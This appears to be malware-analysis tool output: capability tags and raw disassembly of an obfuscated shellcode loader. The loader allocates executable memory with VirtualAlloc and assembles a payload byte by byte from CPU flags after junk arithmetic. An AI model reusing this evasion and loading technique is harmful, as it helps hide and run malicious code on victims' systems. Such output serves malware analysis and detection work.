Function at 0x402000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push 0x40
push 0x1000
push 0x186a0
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [0x4010c2], eax
xchg edi, eax
mov ebx, 0x15c1f1af
shl ebx, 1
mov ebx, 0xbbf94f3f
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x7d97f737
mov ecx, 0xd01699c4
ror edx, cl
mov eax, 0xf3f3a8f2
mov edx, 0x18b056b8
cmp eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3e614c06
mov ebx, 0x4d8625b0
cmp eax, ebx
mov eax, 0xbfe361c0
aaa
mov ebx, 0x773f7cb5
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x243658ed
rol eax, 1
mov ebx, 0xab728caa
mov ecx, 0xf07d0890
rol ebx, cl
mov eax, 0x17792841
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x1358419c
rol edx, 1
mov eax, 0x1a323232
shl eax, 1
mov ebx, 0x6539ba17
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xeffbae42
aas
mov ebx, 0xec65d3d0
sar ebx, 0xe2
mov ebx, 0x5306ab74
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb8d5ddee
mov ebx, 0xc8ea44b3
cmp eax, ebx
mov eax, 0x2d8d26c6
aaa
mov edx, 0x409a02c8
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x93fdd76a
mov ecx, 0x4854f732
ror edx, cl
mov eax, 0x72f9b1d1
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x1b16dae4
rol eax, 1
mov edx, 0x76eee41b
mov ecx, 0xc696778
rol edx, cl
mov eax, 0x6252bfc
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x80b47d40
mov ecx, 0xa987f723
ror ebx, cl
mov edx, 0x6faaf751
mov ecx, 0xc2950ef3
ror edx, cl
mov ebx, 0x4f13060c
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x175a3a7d
mov ecx, 0x7b05704b
rol eax, cl
mov ebx, 0x69146812
mov ecx, 0x776779a4
rol ebx, cl
mov eax, 0xd82de4b5
mov ecx, 0x3f44342c
ror eax, cl
mov edx, 0xab4fe121
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x2f409973
sub edx, 0xce7939f0
mov eax, 0xf3b1e7f
aaa
mov edx, 0x417a920f
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x385d7776
mov ecx, 0x4234d50e
rol eax, cl
mov edx, 0xa06406e0
mov ecx, 0xf2cdcfda
add edx, ecx
mov ebx, 0xf653d012
mov eax, 0x5b90f652
sub ebx, eax
mov edx, 0xc5021bd2
mov eax, 0xae13f250
add edx, eax
mov edx, 0x5d5e819c
rol edx, 1
mov edx, 0xdef8adb8
rol edx, 1
mov eax, 0x25d3e4ec
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf628729d
mov ecx, 0x7c4b48a8
rol edx, cl
mov eax, 0x9f1f442b
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x8b966e89
mov ecx, 0x6ab12f44
ror eax, cl
mov eax, 0xdb709b3f
dec eax
mov edx, 0x60a5d309
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xa03c79
mov ecx, 0xc5a31f67
ror edx, cl
mov edx, 0xe5c941ff
inc edx
mov eax, 0x3de73228
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd339cfd0
aaa
mov edx, 0x422e4420
dec edx
mov ebx, 0x62195424
mov ecx, 0x4d60b6f0
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x9424e64d
mov ecx, 0x3b8d6a03
sub ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4f45b421
inc ebx
mov edx, 0x9ac1548c
mov ecx, 0xdfa8ad78
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe0f9d5a8
mov ecx, 0xfbc0608d
rol eax, cl
mov edx, 0xd4f055f7
cmp edx, 0xfa69bf06
mov eax, 0x7875605
aaa
mov eax, 0x9e525704
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xd13e471
cmp ecx, 0x8b50a5d0
mov eax, 0xc7cf23b
aaa
mov ecx, 0xf2fe5df0
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xe657c0df
mov ecx, 0x63d6f41e
ror ebx, cl
mov ecx, 0xf1b0b583
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x46c81798
dec ebx
mov ebx, 0x26e0500f
mov ecx, 0x9ce3d301
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x953c6b8f
mov ecx, 0x2c53403
cmp edx, ecx
mov ebx, 0x97f783a7
rol ebx, 1
mov eax, 0xb73dcb31
sal eax, 1
mov eax, 0x687eb069
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9567380
rol eax, 1
mov ebx, 0x64e2328b
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa16525e5
mov ecx, 0xa5c4335
ror eax, cl
mov ebx, 0xd7240aa7
sar ebx, 0x31
mov ebx, 0x47e4931b
cmp ebx, 0x444d70dd
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x78a4f4cd
mov ecx, 0xcb37d5ca
sar edx, cl
mov edx, 0x7b1052bb
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x52d46ad2
sal edx, 1
mov edx, 0x4e35bdeb
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xcd6ed7f1
cmp ecx, 0x2c0f6fa0
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1c468f32
aaa
mov edx, 0x6e1eeba2
mov ecx, 0xa2598650
sal edx, cl
mov eax, 0xffcf24e7
aaa
mov ebx, 0x34f2e12f
inc ebx
mov ebx, 0x449f6f00
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x926d9395
rol edx, 1
mov eax, 0x61a9795b
cmp eax, 0x432ef560
mov eax, 0x88eb126d
aaa
mov eax, 0xd7f0956
cmp eax, 0xa14ce0fa
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2a133dfa
mov ecx, 0xb1022684
rol ebx, cl
mov ebx, 0x7814bbee
cmp ebx, 0x68bda097
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7e3c78f4
mov ecx, 0x882f262a
rol eax, cl
mov edx, 0x58d4dc64
mov ecx, 0x4e2756cd
rol edx, cl
mov ecx, 0xa3b8f65
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd1345bc4
mov ecx, 0x1b5d0cc3
cmp ebx, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x4bdadac9
dec ecx
mov eax, 0x4ba6ad80
mov ecx, 0xe101347c
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc71767f
mov ecx, 0x4a1868ac
ror eax, cl
mov eax, 0x55e29381
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x47ebdda8
mov ecx, 0x6948f152
add edx, ecx
mov eax, 0xed1d0a31
aas
mov ecx, 0x3e19cd05
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x629a001b
add eax, 0x17cbc0d0
mov eax, 0x65a728c6
aaa
mov eax, 0x629fab68
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x9e0807b6
add ebx, 0xe9a12f17
mov eax, 0xf99e107b
aaa
mov edx, 0x9e762aef
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x7b14c7de
sub edx, 0xafbd28b2
mov eax, 0x8ab903df
aas
mov edx, 0xd72f3148
mov ecx, 0xb10e7eb3
rol edx, cl
mov ecx, 0xce6eb110
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x10d0e1a8
mov ecx, 0xb8c91a8e
sub eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd6a6a0b7
mov ecx, 0xb80198ff
rol edx, cl
mov edx, 0x4a2c1835
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x50e2d76b
mov ecx, 0x7c735c22
sub eax, ecx
mov edx, 0x6f3ea6b6
rol edx, 1
mov eax, 0x88bbf66a
aas
mov ebx, 0xc384621c
mov ecx, 0xf5971bae
ror ebx, cl
mov ebx, 0xff1c0616
mov ecx, 0x8fe2f5
ror ebx, cl
mov eax, 0xd920967c
mov ecx, 0xb0239f29
ror eax, cl
mov eax, 0xe3c3c4cc
mov ecx, 0x8372984c
ror eax, cl
mov eax, 0xea354363
mov ecx, 0xb46cd12e
ror eax, cl
mov eax, 0x2aed90c4
mov ecx, 0x25048889
rol eax, cl
mov edx, 0x3a71b508
sub edx, 0x80567ab5
mov ebx, 0x2af9b6cf
shl ebx, 1
mov edx, 0xde7c68ae
mov ecx, 0x416fdf4d
sar edx, cl
mov eax, 0x9a806f90
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xe30ab046
inc ebx
mov edx, 0x8057f5b3
mov ecx, 0x25d653f8
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x1974d99c
add edx, 0x5e9d5af0
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xae6afb6c
mov ecx, 0xc455890d
rol edx, cl
mov edx, 0xdc17c88c
sar edx, 0xb2
mov eax, 0xc3216fff
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x4e1575ca
dec ebx
mov edx, 0x31f77d7a
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x71ce3566
rol ebx, 1
mov ebx, 0x2d3273a9
shl ebx, 1
mov ebx, 0x7fdefccf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xec8df11a
sub ecx, 0xde429e97
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc2114eb8
mov edx, 0xff7639f1
sub ebx, edx
mov eax, 0xa613e763
aas
mov ebx, 0x5181733d
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xc4625e10
dec ecx
mov edx, 0x6ddc7d63
mov ecx, 0xf24fa686
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2d104a40
neg edx
mov eax, 0xc42f484b
aas
mov eax, 0x90ffc0d3
mov ecx, 0xf01e2050
ror eax, cl
mov edx, 0xb5e77db9
mov ecx, 0x5947529
sub edx, ecx
mov eax, 0xd57e6f1a
aas
mov ebx, 0xac2466ef
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x104c4492
add edx, 0x489599f0
mov eax, 0xca76bd0a
aaa
mov ecx, 0x1ce465c0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdf6f8bff
mov ecx, 0xb24ec3bc
rol eax, cl
mov ebx, 0x87147cd6
rol ebx, 1
mov eax, 0x66b9725a
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x33f18ef5
mov ecx, 0x5f98110c
rol eax, cl
mov ebx, 0x88f36961
rol ebx, 1
mov eax, 0x3709470a
shl eax, 0x85
mov edx, 0x330271c
mov ecx, 0xf8730f21
ror edx, cl
mov edx, 0x2ebd032
rol edx, 1
mov ebx, 0x21b4842c
sal ebx, 0xe5
mov edx, 0x805af450
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc0b2fefe
dec edx
mov eax, 0xb40add79
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1aae4db8
inc eax
mov ebx, 0x33bab8ef
mov ecx, 0xcce5d4bc
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb39dbca0
dec eax
mov edx, 0xec9941d9
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x43371b16
shl ebx, 0xb2
mov edx, 0x13108777
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7aca7d87
mov ecx, 0x43bfc55
add edx, ecx
mov eax, 0xb532e1e
mov ecx, 0x4f421bb2
rol eax, cl
mov edx, 0x582048e3
mov ecx, 0xcb23df2e
rol edx, cl
mov eax, 0x969528bf
aaa
mov edx, 0xe947d40d
mov ecx, 0xdc860167
shl edx, cl
mov ecx, 0xd06ee412
mov ebx, 0x730ffa98
cmp ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x311e1f8a
mov eax, 0x3dff2402
add edx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x48da5be7
sal eax, 0x21
mov ebx, 0x42e7ef5e
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x967e3208
rol edx, 1
mov edx, 0x4f1885e6
mov ecx, 0xe2fbb347
ror edx, cl
mov edx, 0x44c4267d
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xfe60a4a3
mov ecx, 0x22638f0d
sar eax, cl
mov ecx, 0xa08c56ba
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x752459e2
inc ecx
mov ebx, 0x44bce36d
mov ecx, 0x58af7888
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6f54a75f
dec edx
mov eax, 0xea16b0be
mov ecx, 0x33319692
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x176960db
dec ecx
mov eax, 0xc1252004
mov ecx, 0xd11cf561
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa752600b
mov ecx, 0xefddb9ea
rol ebx, cl
mov ebx, 0x189891a6
sub ebx, 0xf8f13cc6
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x62b0662b
aaa
mov eax, 0xe9bac01b
mov ecx, 0x9ae53a72
ror eax, cl
mov ebx, 0x3a5befd3
shl ebx, 0x22
mov eax, 0x7c29790
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc6404fa9
mov ecx, 0x19793b31
sub eax, ecx
mov edx, 0x5432cecf
sal edx, 1
mov eax, 0x97894424
mov edx, 0x738e26b6
sub eax, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1884aac3
sub eax, 0xd86da0a1
mov eax, 0x8e693410
aaa
mov ecx, 0x4fabf3db
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x147faca8
rol edx, 1
mov ecx, 0x35111ab6
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x81e50cc7
mov ebx, 0x44bad6a4
sub edx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x91990cd6
mov ecx, 0x8ae07a57
rol edx, cl
mov ebx, 0xae55ca75
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x20723950
neg eax
mov eax, 0xd079dc28
aaa
mov ebx, 0xfb35155c
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x8a22a48d
cmp edx, 0x5cb3a8a6
mov eax, 0x6c7e99b8
dec eax
mov ebx, 0xd28a386a
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x194abdfb
inc edx
mov edx, 0xdb849a8a
mov ecx, 0x6d97c726
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x171ceb30
aaa
mov ebx, 0x1ac6cbd0
inc ebx
mov eax, 0xbc9e9131
mov ecx, 0x1ad91f6a
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x83776d3a
mov ecx, 0xc1766e3a
ror edx, cl
mov eax, 0x6a6f90e8
mov ecx, 0x894e9e14
rol eax, cl
mov ebx, 0x7dc8211f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xc899c3a2
add edx, 0x375ee4c4
mov eax, 0x385bdc1c
aas
mov eax, 0x6e2b4452
rol eax, 1
mov ebx, 0x91eff8dc
sub ebx, 0x24fcb83b
mov eax, 0xcfe740fe
aas
mov ebx, 0x5c657a9f
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x6419139f
sub ecx, 0x6cdeafb3
mov eax, 0x72782a6b
aaa
mov eax, 0xf89f1600
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1ef0d249
rol ebx, 1
mov ecx, 0x478f229f
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x99876a6e
mov ecx, 0xb0b40948
sub edx, ecx
mov eax, 0x51d912e3
aas
mov edx, 0x1faa2953
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xfa02552b
mov ecx, 0x1f4d7cc3
ror edx, cl
mov edx, 0xf67c0b93
mov ecx, 0xb96fc8b7
ror edx, cl
mov eax, 0xd0c87822
sal eax, 0x63
mov edx, 0xab46c700
mov eax, 0x71072d9c
sub edx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xad2a6fdc
shl eax, 1
mov ecx, 0x62cd41d3
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xe0ef7e79
aaa
mov ebx, 0x1e017c80
mov ecx, 0x67e85347
rol ebx, cl
mov eax, 0x8971084b
mov ecx, 0x9b18fa18
sal eax, cl
mov edx, 0xa83a29e5
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x30c6b36c
sal ebx, 2
mov ecx, 0x3aaa71f9
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf1e4d890
aaa
mov ecx, 0x9816074
mov edx, 0x8a268713
sub ecx, edx
mov eax, 0x32038013
aas
mov ecx, 0x59ac2d31
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xb4740749
cmp eax, 0x5d9d9515
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xc510ff3b
sal ebx, 0x82
mov edx, 0xbc54d65
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd172928e
sub edx, 0x19c3dacc
mov eax, 0x7035cbf9
aas
mov edx, 0x7b22575a
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd0a55d67
mov ecx, 0x6e9c5031
rol eax, cl
mov eax, 0x55c9a6cf
inc eax
mov eax, 0x8fda939b
mov ecx, 0x8585a66e
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xa38af367
mov eax, 0xddfbbdb0
sub ebx, eax
mov eax, 0x13c40319
aaa
mov ecx, 0x1173e8f7
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4d48c53a
rol ebx, 1
mov ebx, 0x411d2493
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x4553a9b2
sar eax, 0x6b
mov ebx, 0xac178ca
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb2d81a30
mov ecx, 0x7dbb13f2
sar edx, cl
mov ebx, 0x1e865706
mov ecx, 0x3478c8c
add ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x10c62fe
rol eax, 1
mov edx, 0x353627d9
rol edx, 1
mov ecx, 0x7fd43b7b
sub ecx, 0x357da680
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb7ca3611
dec edx
mov edx, 0x8604ce68
mov ecx, 0x3217ef9e
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xb7a5666b
mov ecx, 0x919c62c8
ror ebx, cl
mov ecx, 0xc146b6c0
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1b0b6a08
mov ebx, 0xde85333
add ecx, ebx
mov ebx, 0xac42707e
shl ebx, 1
mov ebx, 0x6a89534e
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe2a84d1c
mov ecx, 0x4acbe855
rol ebx, cl
mov ebx, 0x4843c282
shl ebx, 0x9e
mov ebx, 0x259f5e77
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xa6870faa
mov edx, 0x39b4bdd0
add ecx, edx
mov eax, 0xdf7f64b7
aaa
mov ecx, 0x27956c17
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x77e445cf
mov ecx, 0x3f779624
rol ebx, cl
mov ebx, 0x2005d392
mov ecx, 0xdf7c621f
rol ebx, cl
mov eax, 0xf60d2c5e
neg eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x683cb5ff
mov ecx, 0xda2f5a46
ror eax, cl
mov eax, 0x99b82a81
rol eax, 1
mov ecx, 0x4ace0ec7
add ecx, 0xcdef2cf9
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xbe783bc3
mov ecx, 0xf3db7541
rol eax, cl
mov ebx, 0x353f719
rol ebx, 1
mov edx, 0x81afe5a6
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe4f294d2
sar ebx, 0xb8
mov edx, 0xf56ff40c
shl edx, 1
mov ecx, 0xd3b2b9ef
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x19f1bf0f
sal ebx, 1
mov eax, 0x47f8f240
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x292f87ed
rol edx, 1
mov eax, 0xd721ab6f
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x5fccda31
mov ecx, 0xb5ff474e
ror edx, cl
mov edx, 0x6a934baa
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa2423809
mov edx, 0x62530c96
sub ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8fc15383
mov ecx, 0x88a804ce
rol ebx, cl
mov ebx, 0x6d84cd95
add ebx, 0x96d4816
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xc1ba00ae
cmp ebx, 0x586b994b
mov eax, 0x1047f1c5
aaa
mov ebx, 0xd6a1e1b
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x7c71ad08
mov ebx, 0x9a5632ed
cmp ecx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xa35ccc15
mov ecx, 0x8dcff372
rol eax, cl
mov edx, 0xc153abef
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xeedde844
mov ecx, 0xc2b4faa3
sal ebx, cl
mov edx, 0xfcf355b7
rol edx, 1
mov eax, 0xd2b8a570
shl eax, 0x61
mov eax, 0xd816b5a3
rol eax, 1
mov ebx, 0xd3ee4575
mov ecx, 0xbd69f87d
ror ebx, cl
mov edx, 0x15c8060a
mov ecx, 0xd66b4df8
sar edx, cl
mov ecx, 0x77101730
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdb587761
mov ecx, 0xf83b3d04
shl ebx, cl
mov eax, 0x550443c5
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x662bc920
dec edx
mov edx, 0x3a07a33d
mov ecx, 0xf84608f2
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x62ffee99
rol ebx, 1
mov ebx, 0x8793c865
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xb10020cb
mov edx, 0x8d39eca8
cmp ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x36a9386a
sub eax, 0xf42e9196
mov eax, 0xb5ebfe3d
aas
mov ebx, 0x24d8ec6e
rol ebx, 1
mov eax, 0xadbdab71
rol eax, 1
mov eax, 0x93f810b0
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xaed39c71
mov ecx, 0x50c29148
ror edx, cl
mov ebx, 0x6e72975a
sal ebx, 1
mov edx, 0x476c9495
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x1804f9cf
mov ecx, 0xcc17b91b
ror edx, cl
mov edx, 0xd46e0d26
mov ecx, 0x6fe99948
ror edx, cl
mov ecx, 0xebcc6660
mov edx, 0xbe154ae4
sub ecx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe693985b
mov ecx, 0x8f82bf9d
ror eax, cl
mov ecx, 0x56857e32
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x44392607
shl ebx, 1
mov edx, 0x68c4dbde
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xd4a8a641
sal edx, 1
mov eax, 0x24394b1
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x274a92bd
mov ecx, 0x14b5b4a3
rol edx, cl
mov ebx, 0x29ee9afd
sal ebx, 1
mov edx, 0xf6faf895
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7462b8f0
dec ebx
mov eax, 0x6ee53f65
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xcc74fb05
mov ecx, 0xcc47f043
ror ebx, cl
mov ebx, 0xaa6c39c1
mov ecx, 0xa835d4ea
add ebx, ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa5e769dc
mov ecx, 0x27a6f2bf
rol ebx, cl
mov eax, 0x2b896394
shl eax, 0xe4
mov eax, 0x3cb4cc5
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x50a28f9c
mov ecx, 0xe133456b
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xadd96cc
shl edx, 1
mov ebx, 0x2220eb2b
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcf6f3954
sub ebx, 0x547cdf2a
lahf
mov byte [edi], ah
inc edi
mov edx, 0x490354ea
mov ecx, 0x35b21b17
rol edx, cl
mov eax, 0xd444100
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7ba0278f
mov ecx, 0x9359cd82
cmp eax, ecx
mov eax, 0x54913422
aaa
mov edx, 0xcd0b1c9
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xa5e819c1
mov ebx, 0x84013170
add edx, ebx
mov edx, 0x6a8d7078
mov ecx, 0x1f24fbae
ror edx, cl
mov eax, 0x5e45302d
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x10fdb4a6
mov ecx, 0x99543069
rol eax, cl
mov eax, 0xcb3ebc20
aaa
mov ebx, 0xe3dc4869
sal ebx, 1
mov ebx, 0x1b3f72cd
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xf6353afe
mov ecx, 0x2acaaf91
sub eax, ecx
mov ecx, 0xe7e2e8b0
mov ebx, 0xc773b4c5
sub ecx, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x8706e109
shl edx, 1
mov edx, 0xfcd55e10
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xff42d809
mov ecx, 0xf18d386c
ror ebx, cl
mov ebx, 0xf9af7658
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x29c064bb
cmp ecx, 0x76f9f4e9
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xe5d99ed9
mov edx, 0x2b9ee5a5
cmp ecx, edx
mov eax, 0x6b9bb2a8
aas
mov ecx, 0xd2e4f38a
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9a7c8a8b
mov ecx, 0x6d6fb7f7
rol edx, cl
mov edx, 0x8326ebf8
mov ecx, 0x4681505d
rol edx, cl
mov eax, 0xd0fea432
rol eax, 1
mov edx, 0x1d608fe
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xc2e3f92f
mov edx, 0x54e00549
cmp ecx, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xc932dbc9
mov ecx, 0xed3dcfe6
sal eax, cl
mov ebx, 0x4c8a068d
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe2e26422
mov ecx, 0x9fad95d2
rol ebx, cl
mov ebx, 0xa13ea5e6
mov ecx, 0x2df95047
rol ebx, cl
mov ebx, 0xa3312e4b
mov ecx, 0x3d82b86
sar ebx, cl
mov edx, 0x41a2f867
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x31253f83
rol ebx, 1
mov eax, 0x92b0c6ca
cmp eax, 0x45298112
mov eax, 0xae535e1
aas
mov edx, 0x506bbca1
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa612aa0d
mov ecx, 0xb19d5a4e
ror eax, cl
mov eax, 0x1137a898
dec eax
mov eax, 0x604b97f7
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x366c5aab
rol ebx, 1
mov eax, 0x4d587a4b
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x907ad184
sal edx, 1
mov ebx, 0xe621af69
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x94a0a130
rol eax, 1
mov eax, 0x57b893f8
add eax, 0x99913bc7
mov ebx, 0x839237c0
mov ecx, 0xb16339fa
add ebx, ecx
mov ecx, 0xdab44567
sub ecx, 0x26dd0d13
mov edx, 0x85b0508a
sal edx, 1
mov edx, 0xf4ba1f89
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x39e9a839
mov edx, 0xd66e0338
sub ecx, edx
